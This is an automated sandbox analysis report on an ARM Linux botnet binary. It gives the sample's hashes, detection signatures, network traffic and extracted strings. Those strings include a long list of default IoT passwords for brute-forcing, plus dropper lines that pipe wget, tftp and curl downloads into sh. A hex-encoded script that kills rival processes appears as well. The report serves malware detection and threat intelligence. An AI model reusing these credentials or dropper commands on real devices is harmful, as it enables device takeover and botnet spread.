Linux Analysis Report
la.bot.arm6.elf

Overview

General Information

Sample name: la.bot.arm6.elf
Analysis ID: 1539810
MD5: 5a09ce8cbc5f6043844b8a4233afa208
SHA1: c06545fecd7b139709207eef4e53d78ba71ff008
SHA256: 114aa9563ad1a7acf745f5dba1288ebff0b8bd2d4f35cb4e8c715422b5022d89
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.arm6.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: la.bot.arm6.elf ReversingLabs: Detection: 36%
Found strings indicative of a multi-platform dropper
Source: la.bot.arm6.elf String: ash|login|wget|curl|tftp|ntpdate
Source: la.bot.arm6.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc//maps/lib//dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppdM
Source: la.bot.arm6.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: la.bot.arm6.elf String found in binary or memory: http:///curl.sh
Source: la.bot.arm6.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal56.linELF@0/0@0/0
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.arm6.elf (PID: 6221) File opened: /proc/11/maps Jump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 6221) File opened: /proc/22/maps Jump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 6221) File opened: /proc/66/maps Jump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 6221) File opened: /proc/99/maps Jump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 6221) File opened: /proc/111/maps Jump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 6221) File opened: /proc/222/maps Jump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 6221) File opened: /proc/333/maps Jump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 6221) File opened: /proc/777/maps Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.arm6.elf (PID: 6221) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm6.elf, 6221.1.00007fffb14d9000.00007fffb14fa000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/la.bot.arm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm6.elf
Source: la.bot.arm6.elf, 6221.1.0000558fcc78e000.0000558fcc8dd000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: la.bot.arm6.elf, 6221.1.0000558fcc78e000.0000558fcc8dd000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm6.elf, 6221.1.00007fffb14d9000.00007fffb14fa000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: la.bot.arm6.elf, 6221.1.00007fffb14d9000.00007fffb14fa000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
109.202.202.202
 unknown Switzerland
13030 INIT7CH false
91.189.91.43
 unknown United Kingdom
41231 CANONICAL-ASGB false
91.189.91.42
 unknown United Kingdom
41231 CANONICAL-ASGB false